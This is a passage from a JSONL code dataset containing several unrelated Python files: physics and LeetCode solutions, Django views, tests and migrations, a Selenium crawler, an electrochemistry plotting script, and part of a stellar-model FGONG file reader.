N/(8.0*m_avg*s2_1)\n pot[1][1] = pot[1][1] + N/(8.0*m_avg*s2_2)\n\n denom_1 = 4.0*m_avg*s4_1\n denom_2 = 4.0*m_avg*s4_2\n for i in range(N):\n\n f[i][0] = f[i][0] + (q[i][0] - q_1_avg)/denom_1 \n f[i][1] = f[i][1] + (q[i][1] - q_2_avg)/denom_2 \n #\"\"\"\n \n # Method 2 (Should be equivalent to Method 1, simply a different way of expressing s^2 )\n \"\"\"\n q_1_avg = sumq_1/float(N)\n q_2_avg = sumq_2/float(N)\n\n s2_1 = 0.0\n s2_2 = 0.0\n for i in range(N):\n \n s2_1 = s2_1 + (1.0/float(N))*(q[i][0] - q_1_avg)*(q[i][0] - q_1_avg)\n s2_2 = s2_2 + (1.0/float(N))*(q[i][1] - q_2_avg)*(q[i][1] - q_2_avg)\n\n s4_1 = s2_1*s2_1\n s4_2 = s2_2*s2_2\n\n pot[1][0] = pot[1][0] + N/(8.0*m_avg*s2_1)\n pot[1][1] = pot[1][1] + N/(8.0*m_avg*s2_2)\n\n denom_1 = 4.0*m_avg*s4_1\n denom_2 = 4.0*m_avg*s4_2\n for i in range(N):\n\n f[i][0] = f[i][0] + (q[i][0] - q_1_avg)/denom_1 \n f[i][1] = f[i][1] + (q[i][1] - q_2_avg)/denom_2 \n \"\"\"\n\n return ( sum(pot[0]) + sum(pot[1]) ) , f\n","sub_path":"2D_ETHD/methods_2D.py","file_name":"methods_2D.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"313965270","text":"#\n# @lc app=leetcode.cn id=46 lang=python3\n#\n# [46] 全排列\n#\n\n# @lc code=start\nclass Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n if len(nums) == 1:\n return [nums]\n \n j = 0\n res = []\n while j < len(nums):\n num = nums[j]\n for item in self.permute(nums[:j] + nums[j + 1:]):\n res.append([num] + item)\n j += 1\n return res\n\n # def permute(self, nums: List[int]) -> List[List[int]]:\n # if len(nums) == 1:\n # return [nums]\n \n # res = []\n # for j in range(len(nums)):\n # for item in self.permute(nums[:j] + nums[j + 1:]):\n # res.append([nums[j]] + item)\n # return res\n# @lc code=end\n\n","sub_path":"Week03/46.全排列.py","file_name":"46.全排列.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"15999349","text":"__author__ = 'MaChao'\n\nclass Solution(object):\n def maxProduct(self, words):\n sets = []\n lengths = []\n res = 0\n for i in range(0, len(words)):\n lengths.append(len(words[i]))\n sets.append(set(words[i]))\n for i in range(0, len(words)):\n for j in range(i + 1, len(words)):\n if sets[i].isdisjoint(sets[j]):\n res = max(res, lengths[i] * lengths[j])\n return res\n\n\ns = Solution()\nres = s.maxProduct([\"a\", \"ab\", \"abc\", \"d\", \"cd\", \"bcd\", \"abcd\"])\nres = s.maxProduct([\"a\", \"aa\", \"aaa\", \"aaaa\"])\nprint(res)","sub_path":"ok_p_318.py","file_name":"ok_p_318.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"636325685","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n path('solve/submit', views.SolveCreateView.as_view(), name='solve_submit'),\n path('solve/', views.SolveDetailView.as_view(), name='solve'),\n path('', views.SolveListView.as_view(), name='solves'),\n\n path('api/load-problems', views.load_sheet_problems, name='api-load-sheet-problems'),\n]\n","sub_path":"solves/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"93677052","text":"import threading\nimport posixpath\nfrom queue import Empty\nfrom time import time\nfrom datetime import datetime, timedelta\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom .constants import date_format, date_time_format\nfrom .utils import save_file, print_end_estimate, get_file_name\n\nDELAY_TO_LOAD_FULL_PAGE = 3\nQUERIES_UNTIL_DRIVER_RESET = 1 # prevents memory leak\n\ndefault_chrome_options = Options()\n# default_chrome_options.add_extension(\"../RequestBlocker/RequestBlocker.crx\")\ndefault_chrome_options.add_argument('headless')\ndefault_chrome_options.add_argument('no-sandbox')\nuser_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4166.0 Safari/537.36 Edg/85.0.545.0\"\ndefault_chrome_options.add_argument(f'user-agent={user_agent}')\ndefault_chrome_options.add_argument(\"log-level=3\")\ndefault_chrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\n\nclass Crawler:\n def __init__(self, query_queue, output_folder, atomic_counter, query_size, bucket, debug=False, estimate_level=2, chrome_options=Options(), save_on_root: bool = False):\n self.query_queue = query_queue\n self.output_folder = output_folder\n self.atomic_counter = atomic_counter\n self.query_size = query_size\n self.bucket = bucket\n\n self.chrome_options = default_chrome_options\n self.init_driver()\n\n self.debug = debug\n self.estimate_level = estimate_level\n self.save_on_root = save_on_root\n\n\n def init_driver(self):\n while True:\n try:\n self.driver = webdriver.Chrome(options=self.chrome_options)\n self.driver.implicitly_wait(DELAY_TO_LOAD_FULL_PAGE)\n self.query_counter = 0\n break\n except Exception as e:\n pass\n\n\n def close_driver(self):\n try:\n while len(self.driver.window_handles): # close all tabs\n self.driver.switch_to.window(self.driver.window_handles[0])\n self.driver.close()\n except Exception:\n self.driver.quit()\n\n\n def reset_driver(self):\n self.close_driver()\n self.init_driver()\n\n\n def get_data(self, current_day):\n raise NotImplementedError()\n\n\n def start_requests(self):\n script_date_time, script_start_time = datetime.now(), time()\n\n print(\"Starting thread:\", threading.current_thread().ident)\n\n while True:\n try:\n current_day = self.query_queue.get(block=False)\n except Empty:\n break\n\n while True:\n try:\n data = self.get_data(current_day)\n break\n except Exception as e:\n print(\"Couldn't get data at %s |\" % current_day.strftime(\"%d-%m-%Y\"), e)\n pass\n\n\n query_file = posixpath.join(self.output_folder, get_file_name(script_date_time, current_day, self.save_on_root))\n save_file(query_file, data, bucket=self.bucket)\n\n self.atomic_counter.increment()\n print_end_estimate(script_start_time, self.atomic_counter.get(), self.query_size, script_date_time, 0, self.estimate_level)\n\n self.query_counter += 1\n if self.query_counter >= QUERIES_UNTIL_DRIVER_RESET:\n self.reset_driver()\n\n self.close_driver()\n print(\"Finished thread:\", threading.current_thread().ident)\n","sub_path":"crawlers_utils/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"137233166","text":"# coding:utf-8\n__author__ = 'windy'\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nimport datetime\nimport ujson\nfrom mis import models\nfrom mis.dao.methods_user import get_user_by\nfrom tools import utils\nimport traceback\n\nfrom tools import wxt_api\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\n@api_view(['POST'])\ndef update_student_equipment(request):\n p = request.DATA\n user = p.get('user', None)\n result = p.get('result', None)\n\n if user and result:\n user = get_user_by(user.get('id'))\n equip, flag = models.UserEquipment.objects.get_or_create(user=user)\n equip.result = ujson.dumps(result)\n equip.last_update = datetime.datetime.now()\n equip.save()\n return Response(utils.success_msg())\n\n\n@api_view(['POST'])\ndef room_dispatch(request):\n \"\"\"\n 进入教室\n :param\n clazz_id -- Class Id\n user -- User Id\n\n \"\"\"\n p = request.DATA\n if not p:\n p = request.QUERY_PARAMS\n user_id = p.get('user', None)\n clazz_id = p.get('clazz_id', None)\n data = {}\n rlt = False\n try:\n clazz = models.Classes.objects.get(id=clazz_id, student_id=user_id)\n if clazz.vc:\n url = wxt_api.ask_to_in_classroom(uid=clazz.student.object_pk,\n room=clazz.vc,\n nickname=clazz.student.nickname)\n if url:\n rlt = True\n data['url'] = url\n data['teacher'] = dict(qq=clazz.teacher.qq)\n except:\n rlt = False\n logger.info(traceback.format_exc())\n logger.info('Request Parameter: %s', request.DATA)\n return Response(dict(rlt=rlt, data=data))\n\n\n@api_view(['POST'])\ndef record_dispatch(request):\n \"\"\"\n 查看录像\n :param\n clazz_id -- Class Id\n user -- User Id\n\n \"\"\"\n p = request.DATA\n if not p:\n p = request.QUERY_PARAMS\n user_id = p.get('user', None)\n clazz_id = p.get('clazz_id', None)\n rlt = False\n data = {}\n try:\n clazz = models.Classes.objects.get(id=clazz_id, student_id=user_id)\n if clazz.vc:\n url = wxt_api.ask_to_in_classroom(uid=clazz.student.object_pk,\n room=clazz.vc,\n record=True,\n nickname=clazz.student.nickname.strip())\n if url:\n rlt = True\n data['url'] = url\n data['teacher'] = dict(qq='')\n except:\n rlt = False\n logger.info(traceback.format_exc())\n logger.info('Request Parameter: %s', request.DATA)\n return Response(dict(rlt=rlt, data=data))\n","sub_path":"mis/mis/apis/api_vc.py","file_name":"api_vc.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"75272066","text":"from django.contrib.auth import get_user_model\nfrom django.test import TestCase\n\nfrom communication.models import Message, MessageStatus\nfrom organisation.models import Course\n\nfrom datetime import datetime\n\n\nclass TestMessage(TestCase):\n\n # As you write more tests you'll probably find that you'd want to\n # add these utility functions to a helper class that you can then\n # reuse in different test cases\n\n def create_course(self, name=\"course name\", **kwargs):\n return Course.objects.create(name=name, **kwargs)\n\n def create_user(self, mobile=\"+27123456789\", country=\"country\", **kwargs):\n model_class = get_user_model()\n return model_class.objects.create(\n mobile=mobile, country=country, **kwargs)\n\n def create_message(self, author, course, **kwargs):\n return Message.objects.create(author=author, course=course, **kwargs)\n\n def setUp(self):\n self.course = self.create_course()\n self.user = self.create_user()\n\n def test_get_messages(self):\n # unused\n self.create_message(\n self.user,\n self.course,\n name=\"msg1\",\n publishdate=datetime.now()\n )\n msg2 = self.create_message(\n self.user,\n self.course, name=\"msg2\",\n publishdate=datetime.now()\n )\n msg3 = self.create_message(\n self.user,\n self.course,\n name=\"msg3\",\n publishdate=datetime.now()\n )\n # should return the most recent two in descending order of publishdate\n self.assertEqual(\n [msg3, msg2], Message.get_messages(self.user, self.course, 2))\n\n def test_unread_msg_count(self):\n msg = self.create_message(\n self.user,\n self.course, name=\"msg2\",\n publishdate=datetime.now()\n )\n msg2 = self.create_message(\n self.user,\n self.course,\n name=\"msg3\",\n publishdate=datetime.now()\n )\n # should return 2 unread messages\n self.assertEqual(\n 2, Message.unread_message_count(self.user, self.course))\n\n def test_view_message(self):\n msg = self.create_message(\n self.user,\n self.course, name=\"msg2\",\n publishdate=datetime.now()\n )\n\n _status = MessageStatus.objects.create(message=msg, user=self.user)\n\n # view status is False\n self.assertFalse(_status.view_status)\n\n msg.view_message(self.user)\n msg.save()\n\n _status = MessageStatus.objects.get(message=msg)\n\n # view status is True\n self.assertTrue(_status.view_status)\n\n def test_hide_message(self):\n msg = self.create_message(\n self.user,\n self.course, name=\"msg\",\n publishdate=datetime.now()\n )\n\n hide_status = MessageStatus.objects.create(message=msg, user=self.user)\n\n # hide status is False\n self.assertFalse(hide_status.hidden_status)\n\n msg.hide_message(self.user)\n msg.save()\n\n hide_status = MessageStatus.objects.get(message=msg)\n # hide status is True\n self.assertTrue(hide_status.hidden_status)\n","sub_path":"communication/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"447820048","text":"import sys\nsys.path.append('../')\n\nfrom Crawler import military_crawl as mc\n\n\ndef main():\n \"\"\"\n type = [website, category]\n website_list = ['sina', 'sohu']\n category_list = ['china', 'international', 'weapon', 'national_defence', 'univerasl']\n \"\"\"\n # 抓取新浪网中国军情\n path = 'sina_china.csv'\n sina_china = mc.sina_crawler(path, ['sina', 'china'])\n sina_china.get_link_list()\n sina_china.get_text()\n\n # 抓取新浪网国际军情\n path = 'sina_international.csv'\n sina_inter = mc.sina_crawler(path, ['sina', 'international'])\n sina_inter.get_link_list()\n sina_inter.get_text()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"DuIe_baseline/get_corpus.py","file_name":"get_corpus.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"103231981","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('instirepo_web', '0007_postcategories_is_active'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='SavedPostVisibilities',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('time', models.DateTimeField(auto_now=True)),\n ('is_active', models.BooleanField(default=True)),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='SavedPostVisibilitiesAttributes',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('type', models.CharField(max_length=255, choices=[('branch', 'Branch'), ('year', 'Year'), ('batch', 'Batch'), ('teacher', 'Teacher')])),\n ('batch', models.ForeignKey(to='instirepo_web.Batches', null=True, blank=True)),\n ('branch', models.ForeignKey(to='instirepo_web.Branches', null=True, blank=True)),\n ('teacher', models.ForeignKey(to=settings.AUTH_USER_MODEL, null=True, blank=True)),\n ('visibility', models.ForeignKey(to='instirepo_web.SavedPostVisibilities')),\n ('year', models.ForeignKey(to='instirepo_web.StudentYears', null=True, blank=True)),\n ],\n ),\n ]\n","sub_path":"wsgi/instirepo/instirepo_web/migrations/0008_savedpostvisibilities_savedpostvisibilitiesattributes.py","file_name":"0008_savedpostvisibilities_savedpostvisibilitiesattributes.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"543945637","text":"# encoding: utf-8\nfrom plotnine import *\nfrom plotnine.themes.themeable import axis_ticks_minor, axis_ticks_major\nimport pandas as pd\nimport numpy as np\nimport math\n\n#data = '../Datasets/All_Data/2017-06-27_Threaded_Rhodo_PC_NC-C_NC-NC_Glycerol_50umol/Rhodo_Chrono_NoGlycerol.xlsx'\n#data = '../Datasets/All_Data/2017-05-12_No_Cells/2017-05-31_NC_NS_NC/NC_NC_NS.xlsx'\n#data = '../Datasets/All_Data/2017-05-09_Rhodo_Glucose_V2/chronoamperometry_try_2_(day_2).xlsx'\n#data = '../Datasets/All_Data/2017-05-09_Rhodo_Glucose_V2/chronoamperometry_try_2_day_3.xlsx'\n#data = '../Datasets/All_Data/2017-05-09_Rhodo_Glucose_V2/Copy of chronoamperometry try 2 (day 2).xlsx'\ndata = '../Datasets/All_Data/2017-05-12_No_Cells/2017-05-31_NC_NS_NC/NC_NC_NS.xlsx'\n\n\ndef construct_dataframe(raw_data):\n\n df = pd.read_excel(raw_data, encoding='utf8', skiprows=range(1, 2))\n\n headers = list(df.columns.values)\n\n times = headers[0::2]\n bad_times = headers[2::2]\n data = headers[1::2]\n\n ch_names = [s.encode('ascii') for s in times]\n ch_names = [x.strip(' ') for x in ch_names]\n\n # print(ch_names)\n\n df = df.drop(bad_times, axis=1)\n\n df.columns = ['Time'] + ch_names\n\n #print(df)\n #exit()\n\n df = df.astype(np.float64)\n df = df.round(decimals=4)\n\n df = pd.melt(df, id_vars=['Time'], value_vars=ch_names, var_name='Channel', value_name='Current')\n\n return df\n\n\ndef plot_dataframe(data_frame):\n\n plot = (ggplot(data_frame)\n + ylab(u'Current (μA)')\n + xlab('Time (seconds)')\n + geom_line(aes(x='Time', y='Current', group=1, color='factor(Channel)')))\n return(plot)\n\n\ndf = construct_dataframe(data)\n\nplot = plot_dataframe(df)\n\nprint(plot)\n\n\n\n\nexit()\n\n#channels = [x + ': np.int32' for x in channels]\n#times = [x + ': np.float64' for x in times]\n\nexit()\n\nprint (channels)\nprint(times)\n\ndf = pd.melt(df)\n\n\nprint(df.shape)\n\n# print(df.iloc[::])\n# print(df[:0])\n\n#datatype =\n\nexit()\n\ndf = pd.read_excel(data, encoding='utf8', skiprows=range(1, 2), dtype={ 'CH1': np.int32, 'Unnamed: 1': np.float64,\n 'CH2': np.int32, 'Unnamed: 3': np.float64,\n 'CH3': np.int32, 'Unnamed: 5': np.float64})\n\n#print (df)\n#exit()\ndf.columns = ['Time', 'CH1', 'CH2_Time', 'CH2', 'CH3_Time', 'CH3']\ndf = df.drop(['CH2_Time', 'CH3_Time'], axis=1)\ndf = df.drop([20])\n# df = df[:-5000]\ndf = df.round(decimals=4)\n#df['Anson'] = (1/np.sqrt(df['Time']))\ndf = df.drop([0])\n\nprint (df)\n\ndf = pd.melt(df, id_vars=['Time'], value_vars=['CH1', 'CH2', 'CH3'], var_name='Channel', value_name='Current')\n\nprint (df)\n\nplot = (ggplot(df)\n + ylab(u'Current (μA)')\n + xlab('Time (seconds)')\n + geom_line(aes(x='Time', y='Current', group=1, color='factor(Channel)')))\n\n\nprint (plot)\nexit()","sub_path":"Documents/Electrochemistry/Code/color_chrono_plotting.py","file_name":"color_chrono_plotting.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"587300932","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Functions for manipulating FGONG files. These are provided through\nthe **FGONG** object and a module function to read an **FGONG** object\nfrom a file.\n\n\"\"\"\n\nimport numpy as np\nimport warnings\nfrom .adipls import fgong_to_amdl\nfrom .constants import G_DEFAULT\nfrom .utils import integrate, tomso_open, regularize\nfrom .utils import FullStellarModel\n\n\ndef load_fgong(filename, fmt='ivers', return_comment=False,\n return_object=True, G=None):\n \"\"\"Given an FGONG file, returns NumPy arrays ``glob`` and ``var`` that\n correspond to the scalar and point-wise variables, as specified\n in the `FGONG format`_.\n\n .. _FGONG format: https://www.astro.up.pt/corot/ntools/docs/CoRoT_ESTA_Files.pdf\n\n Also returns the first four lines of the file as a `comment`, if\n desired.\n\n The version number ``ivers`` is used to infer the format of floats\n if ``fmt='ivers'``.\n\n If `return_object` is `True`, instead returns an :py:class:`FGONG`\n object. This is the default behaviour as of v0.0.12. The old\n behaviour will be dropped completely from v0.1.0.\n\n Parameters\n ----------\n filename: str\n Name of the FGONG file to read.\n fmt: str, optional\n Format string for floats in `glob` and `var`. If ``'ivers'``,\n uses ``%16.9E`` if the file's ``ivers < 1000`` or ``%26.18E3` if\n ``ivers >= 1000``. If ``'auto'``, tries to guess the size of each\n float. (default: 'ivers')\n return_comment: bool, optional\n If ``True``, return the first four lines of the FGONG file.\n These are comments that are not used in any calculations.\n\n Returns\n -------\n glob: NumPy array\n The scalar (or global) variables for the stellar model\n var: NumPy array\n The point-wise variables for the stellar model. i.e. things\n that vary through the star like temperature, density, etc.\n comment: list of strs, optional\n The first four lines of the FGONG file. These are comments\n that are not used in any calculations. Only returned if\n ``return_comment=True``.\n\n \"\"\"\n with tomso_open(filename, 'rb') as f:\n comment = [f.readline().decode('utf-8').strip() for i in range(4)]\n nn, iconst, ivar, ivers = [int(i) for i in f.readline().decode('utf-8').split()]\n # lines = f.readlines()\n lines = [line.decode('utf-8').lower().replace('d', 'e')\n for line in f.readlines()]\n\n tmp = []\n\n if fmt == 'ivers':\n if ivers < 1000:\n N = 16\n else:\n N = 27\n # try to guess the length of each float in the data\n elif fmt == 'auto':\n N = len(lines[0])//5\n else:\n N = len(fmt % -1.111)\n\n for line in lines:\n for i in range(len(line)//N):\n s = line[i*N:i*N+N]\n # print(s)\n if s[-9:] == '-Infinity':\n s = '-Inf'\n elif s[-9:] == ' Infinity':\n s = 'Inf'\n elif s.lower().endswith('nan'):\n s = 'nan'\n elif 'd' in s.lower():\n s = s.lower().replace('d','e')\n\n tmp.append(float(s))\n\n glob = np.array(tmp[:iconst])\n var = np.array(tmp[iconst:]).reshape((-1, ivar))\n\n if return_object:\n return FGONG(glob, var, ivers=ivers, G=G,\n description=comment)\n else:\n warnings.warn(\"From tomso 0.1.0+, `fgong.load_fgong` will only \"\n \"return an `FGONG` object: use `return_object=True` \"\n \"to mimic future behaviour\",\n FutureWarning)\n if return_comment:\n return glob, var, comment\n else:\n return glob, var\n\n\ndef save_fgong(filename, glob, var, ivers=1300, comment=['','','',''],\n float_formatter='ivers'):\n \"\"\"Given data for an FGONG file in the format returned by\n :py:meth:`~tomso.fgong.load_fgong` (i.e. two NumPy arrays and a\n possible header), writes the data to a file.\n\n This function will be dropped from v0.1.0 in favour of the `to_file`\n function of the :py:class:`FGONG` object.\n\n Parameters\n ----------\n filename: str\n Filename to which FGONG data is written.\n glob: NumPy array\n The global variables for the stellar model.\n var: NumPy array\n The point-wise variables for the stellar model. i.e. things\n that vary through the star like temperature, density, etc.\n ivers: int, optional\n The integer indicating the version number of the file.\n (default=1300)\n comment: list of strs, optional\n The first four lines of the FGONG file, which usually contain\n notes about the stellar model.\n\n \"\"\"\n nn, ivar = var.shape\n iconst = len(glob)\n\n if float_formatter == 'ivers':\n if ivers < 1000:\n def ff(x):\n if not np.isfinite(x):\n return '%16s' % x\n\n s = np.format_float_scientific(x, precision=9, unique=False, exp_digits=2, sign=True)\n if s[0] == '+':\n s = ' ' + s[1:]\n\n return s\n else:\n def ff(x):\n if not np.isfinite(x):\n return '%27s' % x\n\n s = np.format_float_scientific(x, precision=18, unique=False, exp_digits=3, sign=True)\n if s[0] == '+':\n s = ' ' + s[1:]\n\n return ' ' + s\n else:\n try:\n float_formatter % 1.111\n ff = lambda x: float_formatter % x\n except TypeError:\n ff = float_formatter\n\n with open(filename, 'wt') as f:\n f.write('\\n'.join(comment) + '\\n')\n\n line = '%10i'*4 % (nn, iconst, ivar, ivers) + '\\n'\n f.write(line)\n\n for i, val in enumerate(glob):\n f.write(ff(val))\n if i % 5 == 4:\n f.write('\\n')\n\n if i % 5 != 4:\n f.write('\\n')\n\n for row in var:\n for i, val in enumerate(row):\n f.write(ff(val))\n if i % 5 == 4:\n f.write('\\n')\n\n if i % 5 != 4:\n f.write('\\n')\n\n\ndef fgong_get(key_or_keys, glob, var, reverse=False, G=G_DEFAULT):\n \"\"\"Retrieves physical properties of a FGONG model from the ``glob`` and\n ``var`` arrays.\n\n This function will be dropped from v0.1.0 in favour of the\n attributes of the :py:class:`FGONG` object.\n\n Parameters\n ----------\n key_or_keys: str or list of strs\n The desired variable or a list of desired variables. Current\n options are:\n\n - ``M``: total mass (float)\n - ``R``: photospheric radius (float)\n - ``L``: total luminosity (float)\n - ``r``: radius (array)\n - ``x``: fractional radius (array)\n - ``m``: mass co-ordinate (array)\n - ``q``: fractional mass co-ordinate (array)\n - ``g``: gravity (array)\n - ``rho``: density (array)\n - ``P``: pressure (array)\n - ``AA``: Ledoux discriminant (array)\n - ``Hp``: pressure scale height (array)\n - ``Hrho``: density scale height (array)\n - ``G1``: first adiabatic index (array)\n - ``T``: temperature (array)\n - ``X``: hydrogen abundance (array)\n - ``L_r``: luminosity at radius ``r`` (array)\n - ``kappa``: opacity (array)\n - ``epsilon``: specific energy generation rate (array)\n - ``cp``: specific heat capacity (array)\n - ``cs2``: sound speed squared (array)\n - ``cs``: sound speed (array)\n - ``tau``: acoustic depth (array)\n\n For example, if ``glob`` and ``var`` have been returned from\n :py:meth:`~tomso.fgong.load_fgong`, you could use\n\n >>> M, m = fgong.fgong_get(['M', 'm'], glob, var)\n\n to get the total mass and mass co-ordinate. If you only want\n one variable, you don't need to use a list. The return type\n is just the one corresponding float or array. So, to get a\n single variable you could use either\n\n >>> x, = fgong.fgong_get(['x'], glob, var)\n\n or\n\n >>> x = fgong.fgong_get('x', glob, var)\n\n glob: NumPy array\n The scalar (or global) variables for the stellar model\n var: NumPy array\n The point-wise variables for the stellar model. i.e. things\n that vary through the star like temperature, density, etc.\n reverse: bool (optional)\n If ``True``, reverse the arrays so that the first element is\n the centre.\n G: float (optional)\n Value of the gravitational constant.\n\n Returns\n -------\n output: list of floats and arrays\n A list returning the floats or arrays in the order requested\n by the parameter ``keys``.\n\n \"\"\"\n M, R, L = glob[:3]\n r, lnq, T, P, rho, X, L_r, kappa, epsilon, G1 = var[:,:10].T\n cp = var[:,12]\n AA = var[:,14]\n\n x = r/R\n q = np.exp(lnq)\n m = q*M\n g = G*m/r**2\n Hp = P/(rho*g)\n Hrho = 1/(1/G1/Hp + AA/r)\n cs2 = G1*P/rho # square of the sound speed\n cs = np.sqrt(cs2)\n if np.all(np.diff(x) < 0):\n tau = -integrate(1./cs, r) # acoustic depth\n else:\n tau = integrate(1./cs[::-1], r[::-1])[::-1]\n tau = np.max(tau)-tau\n\n if type(key_or_keys) == str:\n keys = [key_or_keys]\n just_one = True\n else:\n keys = key_or_keys\n just_one = False\n\n I = np.arange(len(var), dtype=int)\n if reverse:\n I = I[::-1]\n\n output = []\n for key in keys:\n if key == 'M': output.append(M)\n elif key == 'R': output.append(R)\n elif key == 'L': output.append(L)\n elif key == 'r': output.append(r[I])\n elif key == 'x': output.append(x[I])\n elif key == 'm': output.append(m[I])\n elif key == 'q': output.append(q[I])\n elif key == 'g': output.append(g[I])\n elif key == 'rho': output.append(rho[I])\n elif key == 'P': output.append(P[I])\n elif key == 'AA': output.append(AA[I])\n elif key == 'Hp': output.append(Hp[I])\n elif key == 'Hrho': output.append(Hrho[I])\n elif key == 'G1': output.append(G1[I])\n elif key == 'T': output.append(T[I])\n elif key == 'X': output.append(X[I])\n elif key == 'L_r': output.append(L_r[I])\n elif key == 'kappa': output.append(kappa[I])\n elif key == 'epsilon': output.append(epsilon[I])\n elif key == 'cp': output.append(cp[I])\n elif key == 'cs2': output.append(cs2[I])\n elif key == 'cs': output.append(cs[I])\n elif key == 'tau': output.append(tau[I])\n else: raise ValueError('%s is not a valid key for fgong.fgong_get' % key)\n\n if just_one:\n assert(len(output) == 1)\n return output[0]\n else:\n return output\n\n\nclass FGONG(FullStellarModel):\n \"\"\"A class that contains and allows one to manipulate the data in a\n stellar model stored in the `FGONG format`_.\n\n .. _FGONG format: https://www.astro.up.pt/corot/ntools/docs/CoRoT_ESTA_Files.pdf\n\n The main attributes are the **glob** and **var** arrays, which\n follow the definitions in the FGONG standard. The data in these\n arrays can be accessed via the attributes with more\n physically-meaningful names (e.g. the radius is ``FGONG.r``).\n\n Some of these values can also be set via the attributes if doing\n so is unambiguous. For example, the fractional radius **x** is not a\n member of the **var** array but setting **x** will assign the actual\n radius **r**, which is the first column of **var**. Values that are\n settable are indicated in the list of parameters.\n\n Parameters\n ----------\n glob: NumPy array\n The global variables for the stellar model.\n var: NumPy array\n The point-wise variables for the stellar model. i.e. things\n that vary through the star like temperature, density, etc.\n ivers: int, optional\n The integer indicating the version number of the file.\n (default=0)\n G: float, optional\n Value for the gravitational constant. If not given (which is\n the default behaviour), we use ``glob[14]`` if it exists and\n is close to the module-wide default value. Otherwise, we use\n the module-wide default value.\n description: list of 4 strs, optional\n The first four lines of the FGONG file, which usually contain\n notes about the stellar model.\n\n Attributes\n ----------\n iconst: int\n number of global data entries (i.e. length of **glob**)\n nn: int\n number of points in stellar model (i.e. number of rows in **var**)\n ivar: int\n number of variables recorded at each point in stellar model\n (i.e. number of columns in **var**)\n M: float, settable\n total mass\n R: float, settable\n photospheric radius\n L: float, settable\n total luminosity\n Teff: float\n effective temperature, derived from luminosity and radius\n r: NumPy array, settable\n radius co-ordinate\n lnq: NumPy array, settable\n natural logarithm of the fractional mass co-ordinate\n T: NumPy array, settable\n temperature\n P: NumPy array, settable\n pressure\n rho: NumPy array, settable\n density\n X: NumPy array, settable\n fractional hydrogen abundance (by mass)\n L_r: NumPy array, settable\n luminosity at radius **r**\n kappa: NumPy array, settable\n Rosseland mean opacity\n epsilon: NumPy array, settable\n specific energy generation rate\n Gamma_1: NumPy array, settable\n first adiabatic index, aliased by **G1**\n G1: NumPy array, settable\n first adiabatic index, alias of **Gamma_1**\n cp: NumPy array, settable\n specific heat capacity\n AA: NumPy array, settable\n Ledoux discriminant\n Z: NumPy array, settable\n metal abundance\n x: NumPy array, settable\n fractional radius co-ordinate\n q: NumPy array, settable\n fractional mass co-ordinate\n m: NumPy array, settable\n mass co-ordinate\n g: NumPy array\n local gravitational acceleration\n Hp: NumPy array\n pressure scale height\n Hrho: NumPy array\n density scale height\n N2: NumPy array\n squared Brunt–Väisälä (angular) frequency\n cs2: NumPy array\n squared adiabatic sound speed\n cs: NumPy array\n adiabatic sound speed\n U: NumPy array\n homology invariant *dlnm/dlnr*\n V: NumPy array\n homology invariant *dlnP/dlnr*\n Vg: NumPy array\n homology invariant *V/Gamma_1*\n tau: NumPy array\n acoustic depth\n \"\"\"\n\n def __init__(self, glob, var, ivers=300, G=None,\n description=['', '', '', '']):\n self.ivers = ivers\n self.glob = glob\n self.var = var\n self.description = description\n\n # if G is None, use glob[14] if it exists and looks like a\n # reasonable value of G\n if G is None:\n if len(glob) >= 14 and np.isclose(glob[14], G_DEFAULT,\n rtol=1e-3, atol=0.01e-8):\n self.G = glob[14]\n else:\n self.G = G_DEFAULT\n else:\n self.G = G\n\n def __len__(self):\n return len(self.var)\n\n def __repr__(self):\n with np.printoptions(threshold=10):\n return('FGONG(\\nglob=\\n%s,\\nvar=\\n%s,\\ndescription=\\n%s)' % (self.glob, self.var, '\\n'.join(self.description)))\n\n def to_file(self, filename, float_formatter='ivers'):\n \"\"\"Save the model to an FGONG file.\n\n Parameters\n ----------\n filename: str\n Filename to which the data is written.\n fmt: str, 